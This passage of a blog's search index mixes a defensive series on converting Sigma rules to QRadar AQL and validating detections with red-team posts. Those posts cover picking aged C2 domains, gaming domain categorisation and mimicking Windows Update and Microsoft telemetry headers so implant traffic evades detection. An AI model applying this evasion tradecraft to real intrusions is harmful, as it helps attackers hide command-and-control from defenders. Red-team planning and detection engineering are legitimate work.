Atomic Red Team organises tests by technique folder, and not every sub-technique has its own atomics. When validation looks for a test for T1685.001 and finds none, it falls back to the parent technique T1685 before giving up:\npythondef parent_technique(technique): \u0026#34;\u0026#34;\u0026#34;T1003.001 -\u0026gt; T1003; a base technique is returned unchanged.\u0026#34;\u0026#34;\u0026#34; return technique.split(\u0026#34;.\u0026#34;, 1)[0].upper() That tiny helper keeps the renumbering from causing a second kind of false gap - a rule marked untestable purely because the atomics live one level up in the tree.\nThe honest gap I can\u0026rsquo;t close # Handling the renumbering fixes the fake gaps. It doesn\u0026rsquo;t manufacture coverage that isn\u0026rsquo;t there, and one real gap remains: 125 of the 390 techniques tagged in SigmaHQ have no Windows-capable Atomic Red Team test at all. Those rules can be deployed, but they can never be proven by simulation, because there\u0026rsquo;s no atomic to run.\nThe correct way to show that is to leave the gap visible. On the coverage map, those techniques appear as deployed (orange, live but unproven), never validated (green, proven end to end). Orange is not a failure. It means \u0026ldquo;we shipped a detection but have not fired a test to confirm it\u0026rdquo;, which is the ethic behind this project and the subject of the coverage-map post later in the series.\nThe general lesson # Taxonomies move. MITRE ships a new ATT\u0026amp;CK version roughly once a year, and each one can renumber techniques, split tactics, deprecate IDs. If your detection tooling treats technique IDs as eternal constants, it will drift out of sync with your rule sources and your simulation library - and the failure mode is the worst one: silent, confident, wrong. A coverage tool that reports gaps that don\u0026rsquo;t exist wastes exactly the effort you built it to save.\nBuild for the taxonomy to change. Accept both vocabularies, verify your assumptions against the current corpus rather than your memory of it, and stamp your outputs with the version they were built against.\nNext: deploying converted rules into QRadar without filling the SIEM with duplicates.\n","date":"29 August 2026","externalUrl":null,"permalink":"/blog/3-ibm-wts-trap/","section":"Blog","summary":"ATT\u0026CK v18 split defense-evasion and renumbered techniques. Any coverage tool with the old IDs baked in now reports gaps that don’t exist. Here’s the fix.","title":"The ATT\u0026CK v18 Renumbering Trap That Fakes Coverage Gaps","type":"blog"},{"content":"","date":"29 August 2026","externalUrl":null,"permalink":"/tags/threat-detection/","section":"Tags","summary":"","title":"Threat-Detection","type":"tags"},{"content":"","date":"26 August 2026","externalUrl":null,"permalink":"/tags/conversion/","section":"Tags","summary":"","title":"Conversion","type":"tags"},{"content":"","date":"26 August 2026","externalUrl":null,"permalink":"/tags/ibm/","section":"Tags","summary":"","title":"Ibm","type":"tags"},{"content":"","date":"26 August 2026","externalUrl":null,"permalink":"/tags/payload-scan/","section":"Tags","summary":"","title":"Payload-Scan","type":"tags"},{"content":"","date":"26 August 2026","externalUrl":null,"permalink":"/tags/performance/","section":"Tags","summary":"","title":"Performance","type":"tags"},{"content":"","date":"26 August 2026","externalUrl":null,"permalink":"/tags/pysigma/","section":"Tags","summary":"","title":"Pysigma","type":"tags"},{"content":" Same rule, two very different queries # Once IBM\u0026rsquo;s backend is installed, sigma list pipelines shows two processing pipelines for QRadar AQL. They are not two flavours of the same thing. The queries they produce are materially different, and choosing the wrong one without noticing is a real risk.\nPipeline Unmapped field Query shape Trade-off qradar-aql-fields raises SigmaTransformationError LOWER(\u0026quot;Process Path\u0026quot;) LIKE '%\\whoami.exe' fast, uses indexed Ariel properties, refuses rules it can\u0026rsquo;t map qradar-aql-payload falls back to full-text LOWER(UTF8(payload)) LIKE '%whoami.exe%' converts nearly anything, but scans the raw payload The fields pipeline maps each Sigma field onto a real, indexed QRadar/Ariel property. The queries are fast, but the pipeline refuses any rule that uses a field without a mapping. The payload pipeline does not refuse. For an unmapped field, it falls back to LOWER(UTF8(payload)) LIKE '%...%', a full-text scan over the raw event payload. It converts almost anything, but on a busy SIEM that flexibility can consume substantial resources.\nRun the same LSASS-access rule through each and you can see it:\nsql-- qradar-aql-fields (rejected: field \u0026#39;SourceUser\u0026#39; is not supported) -- qradar-aql-payload (converted, with a performance warning) SELECT * FROM events WHERE devicetype=12 AND (LOWER(\u0026#34;Target Process Path\u0026#34;) LIKE \u0026#39;%\\lsass.exe\u0026#39; AND ...) AND (NOT((LOWER(UTF8(payload)) LIKE \u0026#39;%authori%\u0026#39; OR LOWER(UTF8(payload)) LIKE \u0026#39;%autori%\u0026#39;))) The auto strategy: strict first, fall back on purpose # The converter defaults to auto. It tries the strict fields pipeline first, and only falls back to payload when fields outright refuses the rule. That keeps the fast path fast while still converting rules with odd fields - and, critically, it records which pipeline each rule landed on:\npythonattempts = [\u0026#34;fields\u0026#34;, \u0026#34;payload\u0026#34;] if strategy == \u0026#34;auto\u0026#34; else [strategy] for attempt in attempts: try: queries, messages = _convert_with(rule_path, attempt) except (SigmaError, Exception) as exc: last_error = exc if attempt == \u0026#34;fields\u0026#34; and strategy == \u0026#34;auto\u0026#34;: result.fields_pipeline_error = f\u0026#34;{type(exc).__name__}: {exc}\u0026#34; continue # strict pipeline refused -\u0026gt; try payload break ... result.pipeline = attempt result.performance_risk = attempt == \u0026#34;payload\u0026#34; or any( marker in message for message in messages for marker in PERFORMANCE_WARNING_MARKERS ) return result The performance_risk flag is what makes this useful. A payload scan is survivable on a lab box capped at 100 EPS, but it may be unacceptable in production. Instead of hiding that trade-off, the manifest records it so someone can review and reject it before the rule ships. A payload fallback should be a deliberate decision, not an invisible converter default.\nFor my curated 25-rule set, auto put all 25 on the fast fields path - zero payload scans, zero performance-risk flags. That\u0026rsquo;s not luck: the rule-selection tool (a topic for another day) specifically prefers rules that convert cleanly through fields.\nWhat the backend does across the whole corpus # Run auto over the entire SigmaHQ corpus - 3144 rules - and you get a measure of the backend itself:\nMetric Count Share Converted 3041 96.7 % via fields (fast path) 2079 66.1 % via payload fallback 962 30.6 % Failed 103 3.3 % Distinct ATT\u0026amp;CK techniques 388 The 103 failures are all essentially the same event - the strict pipeline refusing a construct it has no mapping for: a null check, a boolean, a regex or a CIDR expression on an unsupported field. And the fields that most often push a rule onto the payload fallback are the generic, cloud/SaaS ones with no obvious Ariel equivalent - Details, Provider_Name, operationName, riskEventType (those last two are Azure/Entra fields).\nPut plainly, the backend is strong on the Windows/Sysmon process telemetry this project cares about, and weak on cloud and SaaS sources. That\u0026rsquo;s not a defect - it lines up with what the tool is built for - but it does mean a QRadar detection programme built on Sigma would need custom Ariel properties before it could cover cloud sources properly. Something to know before you promise cloud coverage.\nThe warning I had to filter out # My first run reported that every single rule emitted a warning, which made \u0026ldquo;rules with warnings\u0026rdquo; a useless signal. The culprit was a pyparsing deprecation ('parseString' deprecated) firing from inside pySigma itself - nothing to do with any rule. So the converter drops library-internal deprecation noise and keeps only the pipeline warnings, the ones you can actually act on:\npythonNOISE_WARNING_MARKERS = (\u0026#34;deprecated - use\u0026#34;, \u0026#34;DeprecationWarning\u0026#34;) ... messages = sorted({ str(w.message) for w in caught if not any(marker in str(w.message) for marker in NOISE_WARNING_MARKERS) }) Once the noise is gone, the warnings that remain are meaningful:\nWarning Count (full corpus) Using payload search might cause performance issues ... instead of 'X' 1189 Using payload search ... please specify the keyword value to a field 86 Using numeric value for unsupported field might cause partial results 74 'X' is not a supported log source type and therefore is being removed 36 The one that fails open # That last warning is the interesting one, and it\u0026rsquo;s the reason the manifest keeps every pipeline warning around.\nWhen the backend meets a log-source condition it doesn\u0026rsquo;t recognise, it doesn\u0026rsquo;t break the query - it drops the condition and prints 'X' is not a supported log source type and therefore is being removed. Conversion still succeeds, but the query you get back is now wider than the rule\u0026rsquo;s author intended. A detection scoped to one product can end up matching events from a completely different one.\nIt fails open, not closed - a rule meant to watch one narrow slice of telemetry silently ends up watching more, and that\u0026rsquo;s the kind of thing that looks fine in review but generates noise, or false confidence, in production. 36 rules in the corpus hit this. It needs to be flagged before a rule goes live, which is why the pipeline treats warnings as first-class manifest data rather than console spam.\nEvery query scopes by device type - remember this one # One structural detail that will come back to bite the lab: every converted query starts the same way.\nsqlSELECT * FROM events WHERE devicetype=\u0026lt;n\u0026gt; AND ... That devicetype comes out of the Sigma logsource block via the backend\u0026rsquo;s product/service mappings. Windows rules map to devicetype=12 (Microsoft Windows Security Event Log). This is probably the single most important thing to get right in the lab: if your Sysmon events land under a different device type - which is likely if you forward them with a generic syslog agent instead of WinCollect - every converted rule returns zero results while looking completely correct. When validation eventually comes back not_triggered for everything, this is the first place to look.\nThe manifest is the contract # Everything downstream reads exactly one file: converted/manifest.json. It holds far more than the query text - Sigma UUID, title, severity, ATT\u0026amp;CK techniques and tactics, which pipeline was used, the performance_risk flag, and, for failures, the exact error.\nTwo things fall out of that deliberately. A rule that fails to convert still appears in the manifest, metadata and all, because the metadata is parsed straight from the YAML and doesn\u0026rsquo;t depend on pySigma - so failures land on the coverage map instead of vanishing. And the deployer never touches Sigma at all: if I wanted a different backend, or a different SIEM entirely, convert.py is the only file that would change. That\u0026rsquo;s the payoff of making one JSON file the contract between phases.\nHere\u0026rsquo;s what falls out for Renamed Whoami Execution (T1033), header and all:\nsql-- Renamed Whoami Execution -- sigma id : f1086bf7-a0c4-4a37-9102-01e573caf4a0 -- pipeline : qradar-aql-fields -- attack : T1033 SELECT * FROM events WHERE devicetype=12 AND Filename=\u0026#39;whoami.exe\u0026#39; AND (NOT((LOWER(\u0026#34;Process Path\u0026#34;) LIKE \u0026#39;%\\whoami.exe\u0026#39; OR LOWER(\u0026#34;Process Name\u0026#34;) LIKE \u0026#39;%\\whoami.exe\u0026#39;))) Fast, mapped, indexed - and traceable straight back to the rule it came from.\nNext: a taxonomy change that quietly breaks coverage tooling - the ATT\u0026amp;CK v18 renumbering trap.\n","date":"26 August 2026","externalUrl":null,"permalink":"/blog/2-ibm-wts-pipelines/","section":"Blog","summary":"IBM’s pySigma backend ships two conversion pipelines with very different trade-offs, and one of them fails open. Here’s how the converter picks, and what it records.","title":"Two Pipelines, One Choice: Converting Sigma to QRadar AQL","type":"blog"},{"content":"","date":"23 August 2026","externalUrl":null,"permalink":"/tags/architecture/","section":"Tags","summary":"","title":"Architecture","type":"tags"},{"content":"","date":"23 August 2026","externalUrl":null,"permalink":"/tags/cre-rules/","section":"Tags","summary":"","title":"Cre-Rules","type":"tags"},{"content":" The rule I gave myself: don\u0026rsquo;t assume the API # The tempting way to start a pipeline like this is to read the QRadar API guide, decide \u0026ldquo;I will create Custom Rules over REST\u0026rdquo; and start coding the deployer. That is also how you build three phases on top of a capability that does not exist on your build.\nPhase 0 of What The Sigma has one job: find out, empirically, what the live QRadar instance allows, then let that answer decide the architecture. Nothing downstream gets written against an assumption I have not tested on a real system.\nThe published docs already hint at the problem. QRadar\u0026rsquo;s /analytics/rules endpoint exposes GET, POST and DELETE on {id}, but it reads like a surface for managing existing rules, not authoring a Custom Rule Engine (CRE) rule from scratch. CRE rules involve a tree of tests and building blocks that the REST surface does not obviously let you construct. Meanwhile, /ariel/saved_searches supports creation directly.\nThat suggests a working assumption: treat the Ariel saved search as the deployable unit, not the CRE rule. A saved search holds the converted AQL, can be created through the API, and is what a \u0026ldquo;scheduled search + threshold\u0026rdquo; CRE rule consumes. But an assumption is not a finding, so I wrote a tool to test it.\nThe prober # src/probe_api.py is deliberately read-mostly. It calls the endpoints the pipeline depends on, records what the instance says, and writes the evidence to docs/phase0-api-probe.json. Each probe is paired with the question it answers, so the JSON is still readable months later:\npythonPROBES = [ (\u0026#34;system_about\u0026#34;, \u0026#34;GET\u0026#34;, \u0026#34;/system/about\u0026#34;, \u0026#34;Does the SEC token authenticate at all?\u0026#34;), (\u0026#34;api_versions\u0026#34;, \u0026#34;GET\u0026#34;, \u0026#34;/help/versions\u0026#34;, \u0026#34;Which API versions does this build accept?\u0026#34;), (\u0026#34;endpoints\u0026#34;, \u0026#34;GET\u0026#34;, \u0026#34;/help/endpoints\u0026#34;, \u0026#34;Full endpoint inventory for capability checks.\u0026#34;), (\u0026#34;ariel_databases\u0026#34;,\u0026#34;GET\u0026#34;,\u0026#34;/ariel/databases\u0026#34;, \u0026#34;Are the Ariel event/flow tables reachable?\u0026#34;), (\u0026#34;saved_searches\u0026#34;,\u0026#34;GET\u0026#34;, \u0026#34;/ariel/saved_searches\u0026#34;, \u0026#34;Can saved searches be listed?\u0026#34;), (\u0026#34;analytics_rules\u0026#34;,\u0026#34;GET\u0026#34;,\u0026#34;/analytics/rules\u0026#34;, \u0026#34;Can CRE rules be listed?\u0026#34;), (\u0026#34;offenses\u0026#34;, \u0026#34;GET\u0026#34;, \u0026#34;/siem/offenses\u0026#34;, \u0026#34;Can offenses be read for validation?\u0026#34;), (\u0026#34;log_sources\u0026#34;, \u0026#34;GET\u0026#34;, \u0026#34;/config/event_sources/log_source_management/log_sources\u0026#34;, \u0026#34;Is the Windows/Sysmon log source registered?\u0026#34;), ] Every probe is wrapped so it never raises - a 403 on one endpoint shouldn\u0026rsquo;t abort the sweep, because a 403 is itself a finding:\npythondef probe(client, method, path): try: data = client.request(method, path, headers={\u0026#34;Range\u0026#34;: \u0026#34;items=0-4\u0026#34;}) except QRadarAPIError as exc: return {\u0026#34;ok\u0026#34;: False, \u0026#34;status\u0026#34;: exc.status, \u0026#34;error\u0026#34;: exc.body[:300]} ... The one write it\u0026rsquo;s allowed to make # There is one question you cannot answer by reading: can this API create a saved search? Listing them proves only read access. The prober therefore performs one self-cleaning write. It creates a throwaway saved search and immediately deletes it:\npythondef probe_saved_search_write(client, prefix): \u0026#34;\u0026#34;\u0026#34;Answer the central Phase 0 question: can we create a saved search?\u0026#34;\u0026#34;\u0026#34; payload = { \u0026#34;name\u0026#34;: f\u0026#34;{prefix} phase0-probe-delete-me\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Temporary object created by src/probe_api.py; safe to delete.\u0026#34;, \u0026#34;aql\u0026#34;: \u0026#34;SELECT * FROM events LAST 1 MINUTES\u0026#34;, \u0026#34;database\u0026#34;: \u0026#34;EVENTS\u0026#34;, \u0026#34;is_shared\u0026#34;: True, } try: created = client.create_saved_search(payload) except QRadarAPIError as exc: return { \u0026#34;create_supported\u0026#34;: False, \u0026#34;status\u0026#34;: exc.status, \u0026#34;implication\u0026#34;: \u0026#34;Saved searches are not API-creatable on this build - \u0026#34; \u0026#34;fall back to exporting AQL for manual import, or use \u0026#34; \u0026#34;reference data + a pre-built CRE rule.\u0026#34;, } # ... then delete what we just made, and record whether that worked too The object name carries a prefix, [DaC] by default. Every object this pipeline creates in QRadar carries that prefix, so the lab can be cleaned up by name without touching anything created by hand. Even the probe\u0026rsquo;s throwaway object is easy to find.\nmake probe runs the whole thing and prints a status line per endpoint, then the saved-search verdict:\noutputProbing 192.168.56.10 (API version 20.0) [ok ] GET /system/about [ok ] GET /help/versions [ok ] GET /ariel/saved_searches [ok ] GET /analytics/rules ... Testing saved-search creation ... create supported: True Every call goes through one door # The prober, the deployer and the validator all share one thin REST client, src/qradar_client.py. Authentication, API versioning, TLS policy and error formatting live in exactly one method:\npythondef request(self, method, path, **kwargs): url = f\u0026#34;{self.settings.base_url}/{path.lstrip(\u0026#39;/\u0026#39;)}\u0026#34; response = self.session.request(method, url, timeout=self.settings.timeout, **kwargs) if response.status_code \u0026gt;= 400: raise QRadarAPIError(method, path, response.status_code, response.text) ... Auth is a SEC token in an HTTP header, and QRadar wants an explicit Version header on every request - get that wrong and the same call behaves differently between builds. Both are set once, in the session:\npythonself.session.headers.update({ \u0026#34;SEC\u0026#34;: settings.token, \u0026#34;Accept\u0026#34;: \u0026#34;application/json\u0026#34;, \u0026#34;Version\u0026#34;: settings.api_version, }) self.session.verify = settings.verify_tls Two lab realities are handled here on purpose rather than hidden. QRadar CE ships a self-signed certificate, so TLS verification defaults to off - but as the setting QRADAR_VERIFY_TLS, not a hardcoded verify=False, so it\u0026rsquo;s a lab decision you can see and reverse. And the SEC token never touches a tracked file; it comes from the environment (.env, gitignored, or GitHub Secrets in CI) and a missing one fails loudly at startup instead of surfacing as a confusing 401 three calls later.\nFallbacks, ranked, before I need them # The point of Phase 0 is to know the answer before the architecture depends on it. If the probe reports that saved-search creation is unavailable on a given build, the fallbacks are already chosen, in order of preference:\nExport the AQL, import it through the UI. The pipeline stays the generator and the diffing tool. You lose the automation, you keep the versioning. Push rule content into a reference set via /reference_data/sets and have a few hand-built CRE rules consume it. Automates the content, not the rule structure. Drive the UI with browser automation. Fragile, last resort. The deployer is written so switching between these options is a small change rather than a rewrite - the saved-search assumption lives in one payload builder and four client methods. More on that in the deployment post.\nLab sizing, honestly # Phase 0 also surfaced the boring blocker. Measured on my dev machine: 46 GB RAM, 14 cores, 113 GB free disk. QRadar CE 7.5.0 wants 24 GB RAM / 250 GB disk / 4 cores. RAM and CPU are fine; disk is the problem, 113 GB against a 250 GB requirement. The options are free up ~150 GB and run 7.5.0 (my preference, since 7.5.x is what IBM ships today and its API version 20.x is the one worth learning), drop to the lighter 7.3.3 branch with its older 9.x API, or rent a cloud VM for a short window. QRADAR_API_VERSION in .env is the one setting that changes between them.\nThat is the unglamorous truth of detection-as-code: the hardest dependency is not the code, but the 24 GB SIEM. It is also why the pipeline does as much as possible before that SIEM exists.\nNext: how the conversion works: two pipelines and why the choice matters.\n","date":"23 August 2026","externalUrl":null,"permalink":"/blog/1-ibm-wts-api/","section":"Blog","summary":"Don’t assume what a SIEM’s REST API can do. Write a prober that asks the live instance, and let the answer shape the architecture.","title":"Phase 0: Interrogating QRadar's API Before You Trust It","type":"blog"},{"content":"","date":"23 August 2026","externalUrl":null,"permalink":"/tags/phase-zero/","section":"Tags","summary":"","title":"Phase-Zero","type":"tags"},{"content":"","date":"23 August 2026","externalUrl":null,"permalink":"/tags/rest-api/","section":"Tags","summary":"","title":"Rest-Api","type":"tags"},{"content":" The thing nobody checks # In a SOC, detection rules exist in two shapes. There is the generic, vendor-neutral Sigma format: thousands of rules written and shared by the community, versionable, readable and SIEM-agnostic. Then there is whatever the SIEM speaks natively. For IBM QRadar, that is AQL, the Ariel Query Language, which drives saved searches, building blocks and custom rules.\nThe gap between those two shapes is a manual translation job. Someone reads the Sigma rule, figures out which QRadar/Ariel field each Sigma field maps to, hand-writes the AQL, pastes it into the console, and moves on. It\u0026rsquo;s slow and error-prone, and almost nobody goes back afterward to check that the translated rule still catches the attack once it\u0026rsquo;s live in the SIEM.\nThat last step is where translations fail quietly. The AQL parses, the saved search runs, and it returns zero results forever. Everyone reads that as \u0026ldquo;no attacks\u0026rdquo; when it may mean the rule was never going to fire. A detection that looks deployed but detects nothing is worse than no detection, because it creates false confidence.\nSo I built What The Sigma, a detection-as-code pipeline that runs the whole cycle end to end:\noutputSigma rule -\u0026gt; AQL -\u0026gt; QRadar -\u0026gt; simulated attack -\u0026gt; did it fire? -\u0026gt; ATT\u0026amp;CK coverage map (YAML) (IBM backend) (REST API) (Atomic Red Team) (Ariel search) (Navigator layer) The name is a joke. The last two boxes are the entire point.\nWhy translation isn\u0026rsquo;t the interesting part # Converting Sigma to AQL is already solved, and IBM solved it. IBM maintains an official, open-source pySigma backend, IBM/pySigma-backend-QRadar-AQL, published on PyPI as pysigma-backend-qradar-aql. I do not need to reinvent the translator, and doing so would only produce a less capable one.\nWhat I can build, and what most detection programmes skip, is everything around the translation: deploying the converted rules into QRadar automatically, without piling up duplicate copies every time a rule changes upstream; simulating the actual MITRE ATT\u0026amp;CK technique each rule claims to detect, using Atomic Red Team; verifying by re-running the rule\u0026rsquo;s own converted query over the attack window and asking it, directly, whether it matched anything; and reporting the result as a colour-coded ATT\u0026amp;CK Navigator layer where green means proven, not hoped for.\nThat reframing, from translation speed to evidence that the translated rule works, is what the rest of this series is about.\nThe numbers, so far # I ran the conversion side against the full SigmaHQ corpus. This measures IBM\u0026rsquo;s backend more than it measures my code, but it sets the scene:\nCount Share Rules processed 3144 Converted 3041 96.7 % via mapped-field pipeline (fast) 2079 66.1 % via payload-scan fallback 962 30.6 % Failed 103 3.3 % Distinct ATT\u0026amp;CK techniques 388 The focused, lab-testable subset I committed to the repository contains 25 rules, curated one per technique for Windows endpoints:\nSigma rules 25 Converted to AQL 25 / 25 (100 %) On the fast mapped-field path 25 / 25, no payload scans Distinct ATT\u0026amp;CK techniques 37 Conversion warnings 0 Those 25 rules convert in under three seconds. Doing the same work by hand, reading the rule, finding the QRadar field names, writing the AQL, testing it and pasting it into the console, took 20 to 40 minutes per rule, even with experience in both formats. Minutes instead of days is the basic business case for the pipeline.\nWhat is built # I\u0026rsquo;m not going to pretend the whole thing is live. Detection-as-code has a hard dependency: a real SIEM. QRadar Community Edition wants 24 GB of RAM and 250 GB of disk, and the disk is the part my lab machine doesn\u0026rsquo;t have yet. So here\u0026rsquo;s the real status, no rounding up:\nPhase State 0 - Research \u0026amp; backend validation done, measured against 3144 rules 2 - Conversion pipeline done, 55 offline tests 3 - Deployment code done, dry-run works, waiting on a live instance 5 - Coverage reporting done 6 - CI/CD workflow written 1 - Lab build not yet, QRadar CE isn\u0026rsquo;t deployed 4 - Attack validation blocked on the lab Everything that does not need a running SIEM is built and tested. Everything that does is waiting on the lab. I would rather state that plainly than paint a coverage map green on a machine that has never spoken to a SIEM. The pipeline enforces the same rule on its own output, and it comes up again throughout the series.\nA design decision that runs through everything # Each phase is its own command-line tool. It reads one JSON file, writes another, and hands off:\noutputrules/sigma/**.yml | convert.py (phase 2, offline) v converted/manifest.json | deploy.py (phase 3, needs QRadar) v state/deployments.json | validate.py (phase 4, needs QRadar + a Windows endpoint) v state/validation.json | report_navigator.py (phase 5, offline) v reports/attack-navigator-layer.json Nothing is passed around in memory. Any stage can be rerun or inspected on its own, and if the lab falls over during a validation run it doesn\u0026rsquo;t cost me the conversion work. That decoupling is what let me build and test two-thirds of the pipeline before the SIEM even exists.\nWhat the series covers # Seven posts, following the pipeline:\nThis one: the problem, the thesis and the current status. Phase 0: interrogating QRadar\u0026rsquo;s API before trusting it: what the REST API actually lets you create, measured against a live instance rather than assumed from the docs. Two pipelines, one choice: Sigma to AQL: IBM\u0026rsquo;s backend, the fast path, the payload-scan fallback and a fail-open behaviour worth catching before production. The ATT\u0026amp;CK v18 renumbering trap: how a 2025 taxonomy change makes coverage tools silently report gaps that do not exist. Deploying detections without making a mess: idempotence by Sigma UUID and status reporting that reflects reality. Proving a detection actually fires: Atomic Red Team, re-running the rule\u0026rsquo;s own query and why not_triggered is the correct answer. A coverage map that tells the truth: folding three phases into one Navigator layer and building a console around the same evidence. If you only take one idea from all of it, take this: a detection you haven\u0026rsquo;t simulated is a hypothesis, not a control. Everything else in the series is engineering built to back that up.\nNext up: Phase 0: what QRadar\u0026rsquo;s API actually lets you do.\n","date":"20 August 2026","externalUrl":null,"permalink":"/blog/0-ibm-wts-overview/","section":"Blog","summary":"Why I built a detection-as-code pipeline around IBM’s own Sigma-to-QRadar backend, and why the interesting part isn’t the translation.","title":"What The Sigma: Translating Detections Is Solved, Trusting Them Isn't","type":"blog"},{"content":"","date":"23 June 2026","externalUrl":null,"permalink":"/series/infra-kes7a/","section":"Series","summary":"","title":"Infra Kes7a","type":"series"},{"content":" Overview # Our implant, deep in the target network, will be calling back to our C2 server (independently of the hops in the middle). This is not done, of course, with a direct IP address or whatsoever. That will alert the defenses, fail miserably, and can\u0026rsquo;t even integrate any layers in the middle, thus this infrastructure shouldn\u0026rsquo;t exist at all.\nThat\u0026rsquo;s why we use domain names. The implant calls back a domain name, the DNS resolves progressively to the next hop, the next hop filters and forwards the incoming flow to the right place. So this part discusses how is this done, what are the best practices and how to effectly choose relevent and convincing domain names.\nCategorization and Reputation # Reputation # Like everyone of us, domain names have reputation. This is a trusted score given to domain names to help scanners block and prevent users from accessing potentially malicious services/websites\u0026hellip;etc\nDanger That being said, we can\u0026rsquo;t just buy fresh new domain names few weeks before the engagement starts and expect the blue team to not laugh at us. We must have aged and definetly-not-recently-acquired domain names.\nThe engagement will end before it starts.\nCategories # Each domain out there falls into a category. This is a trusted and very important piece of information that static analyzers use to easily detect potentially malicious websites once they\u0026rsquo;re queried.\nHow are domains categorized? The security scanners analyze their live content. And based on rules, texts, metadata, machine learning, they can extract the useful information to categorize a domain as \u0026ldquo;news\u0026rdquo;, \u0026ldquo;shopping\u0026rdquo;, \u0026ldquo;adult content\u0026rdquo; \u0026hellip;etc\nThat being said, if we buy a fresh new domain name (A LONG TIME BEFORE THE ENGAGEMENT STARTS), we should host something legit in there, like a blog site or a fake web service (saas or whatever it seems like anyone has a saas solution now). If we\u0026rsquo;re buying a previously-used domain name, we will look into that later.\nImportant You can check some famous websites categories to see how each content is being treated. For example, this website is categorized as shown: Tip from Google\u0026rsquo;s Creative Red Teaming Course # Disclaimer Note that this method might not work anymore, but you should always consider it.\nTo get the exact same category of a very trusted website like anything Microsoft-related, we can setup our server as a web proxy, so when the scanners query our instance, they\u0026rsquo;ll get silently redirected to the trusted website and come back with high-fidelity data.\nThis is a very smart workaround to let a low-resources redirector online for few weeks and check its categorization against the target\u0026rsquo;s defenses.\nExpired Domains: Thrifting domain names # This method is the equivalent of thrifting domain names. Instead of buying a new one, running it for some time to gain some trust and background, why not buy already used ones? Those contain more background, more reputation and why not fan base? Cool right?\nBut, thrifting is always thrifting. You might run into extremely convincing, well-trusted domains and you might run into malicious and flagged domains.\nBefore you buy Check the domain\u0026rsquo;s category against multiple providers. Make sure the domain names matches the engagement You can buy some from expireddomains.net\nChoosing Relevent Domain Names # Imagine you\u0026rsquo;re a blue teamer. A recently downloaded executable that was trusted, seems like a microsoft-related update software, querying a domain name called: myamazingdomain.com. I mean what the fuck is even that?\nOr we get to infiltrate a perfectly written and fully-evasive implant that evades every EDR known to man, only to get caught querying a c2.implant-callback.xyz. That is embarassing. Like really embarassing.\nSo, setup a full attack path, a very comprehensive, complete and convincing scenario, like a Windows Update, some CDN asset delivery, normal web traffic, CI/CD type shii. You do you, just don\u0026rsquo;t create some http/1-legacy-SCADA-system -very-cool-traffic that will get caught few packets in.\n","date":"23 June 2026","externalUrl":null,"permalink":"/blog/2-red-team-domain-names/","section":"Blog","summary":"","title":"Red Team Domain Names","type":"blog"},{"content":"","date":"2 April 2026","externalUrl":null,"permalink":"/tags/background/","section":"Tags","summary":"","title":"Background","type":"tags"},{"content":" Overview # Choosing a scenario is as crucial as the technical work we\u0026rsquo;ll do later. If we don\u0026rsquo;t choose a logical and convincing scenario that replicates real and legit behavior, we will get caught, tracked back and laughed at (especially that). Imagine an implant replicating an azure communication but we link it to a AWS CDN which will add its custom headers. This is illogical, bizarre and will definetly get caught easily.\nScenarios I found relevant # Microsoft Update # I ran a microsoft update query to look for available updates and intercepted valid requests that seemed easy to replicate its headers and would blend in perfectly in the traffic even if it gets targetted. Here the Request/Reply I found:\noutputKey: :method; Value: POST Key: :path; Value: /ClientWebService/client.asmx/secured Key: :authority; Value: fe3cr.delivery.mp.microsoft.com Key: :scheme; Value: https Key: cache-control; Value: no-cache Key: pragma; Value: no-cache Key: content-type; Value: application/soap+xml; charset=utf-8 Key: accept-encoding; Value: xpress Key: user-agent; Value: Windows-Update-Agent/1507.2601.30012.0 Client-Protocol/2.90 Key: ms-cv; Value: NFaVOncEbEyj4c+6.1.1.1.5 Key: content-length; Value: 9861 ------------------------------------ Key: cache-control; Value: private Key: content-type; Value: application/soap+xml; charset=utf-8 Key: content-encoding; Value: xpress Key: vary; Value: Accept-Encoding Key: server; Value: Microsoft-IIS/10.0 Key: x-powered-by; Value: ASP.NET Key: x-content-type-options; Value: nosniff Key: date; Value: Sat, 21 Mar 2026 20:37:59 GMT Key: content-length; Value: 1502 So an implant behaving like a legit microsoft update by querying the same endpoint exactly with the correct headers on a good looking domain that I will eventually buy and link to some Azure CDN endpoint would be a great choice.\nNormal Internet Browsing # I also navigated some Micorosft websites, Outlook, Gmail..etc and here are the artifacts I found:\noutput Key: :authority; Value: browser.events.data.microsoft.com Key: :method; Value: POST Key: :path; Value: /OneCollector/1.0/?cors=true\u0026amp;content-type=application/x-json-stream\u0026amp;ext.intweb.msfpc=GUID%3D77cf2e190ecc4ab9836db2c9c7c504ed%26HASH%3D77cf%26LV%3D202603%26V%3D4%26LU%3D1774193917518\u0026amp;w=0 Key: :scheme; Value: https Key: accept; Value: */* Key: accept-encoding; Value: gzip, deflate, br, zstd Key: accept-language; Value: en-US,en;q=0.9 Key: apikey; Value: 1cfc1aff02e4437889594f14c4cad289-5bf9ec06-73a3-4827-a5e7-d709ff3d3b12-6941 Key: cache-control; Value: no-cache, no-store Key: client-id; Value: NO_AUTH Key: client-version; Value: 1DS-Web-JS-3.2.18 Key: content-length; Value: 61263 Key: content-type; Value: application/x-json-stream Key: origin; Value: https://www.microsoft.com Key: priority; Value: u=1, i Key: referer; Value: https://www.microsoft.com/ Key: sec-ch-ua; Value: \u0026#34;Chromium\u0026#34;;v=\u0026#34;146\u0026#34;, \u0026#34;Not-A.Brand\u0026#34;;v=\u0026#34;24\u0026#34;, \u0026#34;Google Chrome\u0026#34;;v=\u0026#34;146\u0026#34; Key: sec-ch-ua-mobile; Value: ?0 Key: sec-ch-ua-platform; Value: \u0026#34;Linux\u0026#34; Key: sec-fetch-dest; Value: empty Key: sec-fetch-mode; Value: cors Key: sec-fetch-site; Value: same-site Key: time-delta-to-apply-millis; Value: use-collector-delta Key: upload-time; Value: 1774881238298 Key: user-agent; Value: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 ---- Key: access-control-allow-credentials; Value: true Key: access-control-allow-headers; Value: time-delta-millis Key: access-control-allow-methods; Value: POST Key: access-control-allow-origin; Value: https://www.microsoft.com Key: access-control-expose-headers; Value: time-delta-millis Key: content-length; Value: 24 Key: content-type; Value: application/json Key: date; Value: Mon, 30 Mar 2026 14:33:59 GMT Key: server; Value: Microsoft-HTTPAPI/2.0 Key: strict-transport-security; Value: max-age=31536000 Key: time-delta-millis; Value: 1693 Navigating some microsoft website or a microsoft service would look perfectly fine with a good looking domain name would leave no traces behind.\nA step further To push it even further, we can intercept more network services depending on the target company\u0026rsquo;s tooling and create a good 